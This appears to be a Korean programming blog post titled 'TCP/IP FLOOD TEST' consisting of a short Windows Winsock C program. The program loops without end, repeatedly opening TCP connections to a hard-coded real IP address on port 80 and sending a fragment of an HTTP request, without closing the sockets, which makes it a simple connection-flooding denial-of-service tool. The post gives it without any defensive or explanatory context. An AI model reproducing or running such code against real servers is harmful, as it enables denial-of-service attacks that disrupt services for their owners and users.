본문 바로가기

C/C++

TCP/IP FLOOD TEST


// tcpflood.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>


int main(int argc, char* argv[])
{


	SOCKET s;
	WSADATA       WsaData;          
	struct sockaddr_in server;

socket_re:

	WSAStartup(MAKEWORD(2,2) , &WsaData);
	s = socket( PF_INET, SOCK_STREAM, 0 );

	memset( &server, 0, sizeof(struct sockaddr) );
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = inet_addr("112.166.176.6");	
	server.sin_port = htons( atoi("80") );

	if( connect( s, (struct sockaddr*)&server, sizeof( struct sockaddr ) ) < 0 ) {
		printf("접속 실패...\n");
		goto socket_exit;
	}
	
	printf("x");

	send(s, "GET / HTTP/1.1",16,0);

	WSACleanup();

	goto socket_re;

socket_exit:	

	closesocket( s );	// close(s);
	
	WSACleanup();		// WinSock DLL을 비사용
	printf("Hello World!\n");
	return 0;
}